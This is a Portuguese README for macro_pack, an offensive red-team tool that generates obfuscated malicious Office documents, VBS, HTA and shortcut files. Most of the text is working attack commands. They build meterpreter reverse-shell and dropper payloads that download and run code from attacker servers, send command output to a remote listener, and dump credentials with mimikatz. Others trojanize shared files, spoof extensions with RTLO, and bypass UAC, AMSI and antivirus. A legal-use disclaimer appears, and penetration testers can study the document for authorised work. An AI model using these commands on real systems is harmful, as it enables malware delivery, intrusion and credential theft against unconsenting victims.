
macro_pack é uma ferramenta do @EmericNasi usada para automatizar a ofuscação e a geração de documentos do Office, scripts VB, atalhos e outros formatos para avaliações de pentest, demo e engenharia social. O objetivo do macro_pack é simplificar a exploração, o bypass de antimalware e automatizar o processo desde a geração de macros e scripts maliciosos até a geração do documento final. Ele também oferece muitos recursos úteis para red team ou pesquisa em segurança.
MacroPack Community é uma ferramenta usada para automatizar a ofuscação e geração de formatos retro como documentos do MS Office ou formato VBS. Ela também lida com vários formatos de atalhos. Esta ferramenta pode ser usada para red teaming, testes de penetração, demonstrações e avaliações de engenharia social. O MacroPack simplificará o bypass de soluções antimalware e automatizará o processo desde o código-fonte VBA até o documento Office final ou outro tipo de payload. É muito simples de usar:
A ferramenta é compatível com payloads gerados por ferramentas populares de pentest (Metasploit, Empire, ...). Também é fácil de combinar com outras ferramentas, pois é possível ler a entrada do stdin e ter uma saída silenciosa para outra ferramenta. Esta ferramenta é escrita em Python3 e funciona em plataformas Linux e Windows.
Nota: A plataforma Windows com os aplicativos corretos do MS Office instalados é necessária para a geração automática de documentos do Office ou recursos de trojan.

A ferramenta usará várias técnicas de ofuscação, todas automáticas.
Os recursos de ofuscação são compatíveis com todos os formatos baseados em VBA e VBS que podem ser gerados pelo MacroPack.
A ofuscação básica (opção -o) inclui:
O MacroPack pode gerar vários tipos de formatos de documentos do MS Office e scripts. O formato será adivinhado automaticamente dependendo da extensão do arquivo fornecida. A geração do arquivo é feita usando a opção --generate ou -G.
A versão pro do MacroPack também permite trojanizar arquivos Office existentes com a opção --trojan ou -T.
Os formatos suportados do MS Office são:
Os formatos de script (txt) suportados são:
Os formatos de atalho/shell suportados são:
Observe que todos os formatos de script e atalho (exceto LNK) podem ser gerados na versão Linux do MacroPack também.
Este software deve ser usado apenas no contexto de um engajamento de Red Team, teste de penetração, simulação de phishing,
pesquisa de segurança ou outra forma de avaliação de segurança, com a autorização legal e formal dos proprietários do sistema.
O uso deste software para atacar alvos sem consentimento prévio é proibido e ilegal.
É de responsabilidade do Usuário cumprir todas as leis locais, estaduais, federais e nacionais aplicáveis.
Não assumimos nenhuma responsabilidade e não somos responsáveis por qualquer uso indevido ou dano que possa ser causado pelo uso deste software.
Nem todas as capacidades e opções do MacroPack estão disponíveis no MacroPack Community.
Apenas a versão community está disponível online.
Os recursos da versão pro realmente "armam" o processo, portanto seu acesso é restrito a profissionais.
O modo pro inclui recursos como:
Alguns vídeos de demonstração curtos estão disponíveis no canal BallisKit Vimeo.
Importante: Se você deseja entrar em contato comigo sobre o MacroPack pro, use meu endereço de e-mail emeric.nasi [at] sevagas.com. Não responderei a consultas anônimas para a versão Pro, apenas a e-mails profissionais.
### Instalar a partir das fontes
Você precisa estar em uma máquina Windows para construir o MacroPack. Baixe e instale as dependências:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
A ferramenta está em python 3, então basta iniciar com sua instalação do python3. ex:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
Se quiser produzir um exe autônomo usando pyinstaller:
* Instale o pyinstaller: pip install pyinstaller
* Clique duas vezes no script "build.bat".
O macro\_pack.exe resultante estará dentro do diretório **bin**.
## Alguns exemplos
### MacroPack Community
- Liste todos os formatos de arquivo suportados```bash
macro_pack.exe --listformats
- Obfuscar o arquivo vba gerado pelo msfvenom e coloca o resultado em um novo arquivo VBA.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- Gerar um arquivo MS Excel contendo um dropper ofuscado (baixar payload.exe e armazenar como dropped.exe)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- Baixar e executar o stager Empire Launcher sem o powershell.exe usando o template DROPPER_PS```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE demo"></p>
- Baixar e executar arquivo via powershell usando ataque Dynamic Data Exchange (DDE)```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="Demonstração IQY"></p>
- Gerar arquivo VBS ofuscado de meterpreter reverse TCP e executá-lo ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- Gere um atalho de URL que executa um arquivo HTA local quando você clica nele```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### Alguns exemplos do MacroPack Pro
- Trojanize o arquivo 'report.xlsm' compartilhado existente com um dropper. Use recursos anti-AV e anti-reverse.```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- Trojanizar um arquivo PowerPoint com um shellcode reverso bruto. A macro é ofuscada e distorcida para contornar o AMSI e a maioria dos antivírus.```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## Todas as opções da versão comunitária```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
Templates podem ser chamados usando -t, --template=NOME_DO_TEMPLATE combinado com outras opções.
Aqui estão todos os templates disponíveis.
Apenas imprime uma mensagem de saudação e conscientização sobre macro.
Forneça a este template o nome ou email do autor:
-> Exemplo: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Executa um comando.
Forneça a este template uma linha de comando.
-> Exemplo (abrir calc.exe a partir de um arquivo xslt): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Executa uma linha de comando e envia os resultados para um servidor HTTP remoto.
Forneça a este template a URL do servidor e o comando a ser executado:
-> Exemplo: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### DROPPER
Baixar e executar um arquivo.
Forneça a este modelo a URL do arquivo e o caminho do arquivo de destino
-> Exemplo: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### DROPPER_PS
Baixar e executar script PowerShell usando rundll32 (para contornar o bloqueio do powershell.exe).
Nota: Este payload baixará o PowerShdll do Github.
Forneça a este modelo a URL do script PowerShell que deseja executar:
-> Exemplo: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### DROPPER_DLL
Baixar uma DLL com outra extensão e executá-la usando o VBA do Office.
-> Exemplo, carregar DLL do meterpreter usando Office:```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Template TCP reverso do Meterpreter usando MacroMeter por Cn33liz.
Este template é um stager Meterpreter em CSharp criado por Cn33liz e incorporado no VBA usando DotNetToJScript de James Forshaw.
Forneça a este template o IP e a PORTA do mfsconsole em escuta:
-> Exemplo: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
Este template também gera um ficheiro meterpreter.rc para criar o handler do Metasploit
-> Exemplo: msfconsole -r meterpreter.rc
Extrair e executar um ficheiro incorporado.
Combine com a opção --embed, irá extrair e executar o ficheiro incorporado com nome aleatório na pasta TEMP.
-> Exemplo: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
Combine com a opção --embed, irá extrair e chamar uma função na DLL fornecida.
Forneça a este template o nome e os parâmetros da função a chamar na DLL
-> Exemplo1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Exemplo2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
As várias funcionalidades foram testadas contra soluções Antimalware instaladas localmente, bem como serviços online. Executei vários testes com vários tipos de payloads e funcionalidades do MacroPack. A maioria das análises estáticas de antivírus será evitada pela simples opção "obfuscate". No entanto, como a maioria das ferramentas gratuitas, os payloads são geralmente detetados por análise comportamental, como AMSI. As funcionalidades disponíveis no modo pro do MacroPack geralmente permitem bypass total de AV, incluindo AMSI.
Aviso: Não submeta as suas amostras a scanners online (ex. VirusTotal), é a melhor forma de quebrar a sua macro furtiva. Sugiro também que não submeta a sites que não reportam, como NoDistribute. Não pode ter a certeza do que esses sites farão com os dados que submete. Se tiver um problema com a deteção AV do macro_pack, pode escrever-nos para aconselhamento ou submeter um issue ou pull request.
Artigos de blog sobre MacroPack Pro:
Artigos de blog sobre hacking com MS Office, VBS e outras coisas retro de segurança:
Outros links úteis:
Sinta-se à vontade para me enviar uma mensagem na minha conta do Twitter @EmericNasi
Emails:
Importante: Se desejar contactar-me sobre o MacroPack Pro, use o meu endereço de email sevagas.com. Note também que não responderei a perguntas anónimas sobre a versão Pro, apenas a emails profissionais.
Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)